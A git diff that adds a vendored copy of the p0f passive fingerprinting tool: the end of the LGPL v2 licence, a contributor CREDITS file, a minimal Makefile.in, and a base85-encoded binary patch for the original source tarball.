terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control compilation +and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at + least three years, to give the same user the materials + specified in Subsection 6a, above, for a charge no more + than the cost of performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + diff --git a/src/tools/p0f/CREDITS b/src/tools/p0f/CREDITS new file mode 100644 index 0000000..dad7cf2 --- /dev/null +++ b/src/tools/p0f/CREDITS @@ -0,0 +1,50 @@ + + "You may kiss me of course, + But you'll have to use force. + Though god knows you're stronger than I am." + + +And the credits go to: +====================== + + People who have contributed to the current form of this code (in order of + appearance, of sorts): + + Michal Zalewski: initial code and some ideas, p0frep, fingerprints, etc + Michael Davis: MSVC++ Windows port + John Cartwright: testing, v2 Makefile for SunOS + Mike Frantzen: discussions, T0 and Z quirk + Jacon Winther: testing, feedback, MacOS X reports + Lance Spitzner: useful feedback + Rafal Wozniakowski: config reader bugfix + Bert Kiers: NetBSD testing, suggestions + Timo Sirainen: parser bug fix + Sebastian Prause: pppoe on NetBSD fix + Cristian Ionescu-Idbohrn: some interesting suggestions + Michal Margula: masq threshold + Dan Nelson: small p0frep fix + rain forest puppy: many signatures + Peter Gamache: p0fq fixes + Paul Woo: signatures in bulk + Michael Bauer: signatures in bulk + Ryan Barnett: Solaris testing + Kirby Kuehl: Windows port fixes and enhancements! + + William Stearns did lots of work that made v1 successful. + He does not have any direct contributions to v2 yet, but I hope this will + change, until then, this is a honorary mention. + + We apologize all of you who should be listed here, but are not. If you + feel this is the case, please let us know and we will fix this + unintentional omission. + + A countless number of people contributed fingerprints via p0f-help website + (ok, more precisely: thousands). Most of them did not provide their + names, or requested not to be credited. For those who did, I simply couldn't + keep up maintaining the list, and had a hard time deciding who should be + credited and who shouldn't. Duplicates, the amount of ingormation provided, + data reliability, all this was a mess. I would still like to recognize + people who have contributed a number of signatures, provided some + rare fingerprints, or otherwise made a considerable contribution to the + database. If you feel you should be listed here, please let me know. + diff --git a/src/tools/p0f/Makefile.in b/src/tools/p0f/Makefile.in new file mode 100644 index 0000000..41bf9b1 --- /dev/null +++ b/src/tools/p0f/Makefile.in @@ -0,0 +1,15 @@ +include ../../../Makefile.inc + +SRCS=p0f.c +HDRS=fpentry.h mtu.h p0f-config.h tcp.h tos.h + +OBJS=$(SRCS:.c=.lo) + +all: $(OBJS) + +clean: + $(LIBTOOL) --mode=clean rm -f $(OBJS) + +distclean: + +install: diff --git a/src/tools/p0f/ORIGINAL-p0f-TARBALL.tgz b/src/tools/p0f/ORIGINAL-p0f-TARBALL.tgz new file mode 100644 index 0000000000000000000000000000000000000000..2ad9b69d1e9142013508c479792f396aa35034f4 GIT binary patch literal 119407 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 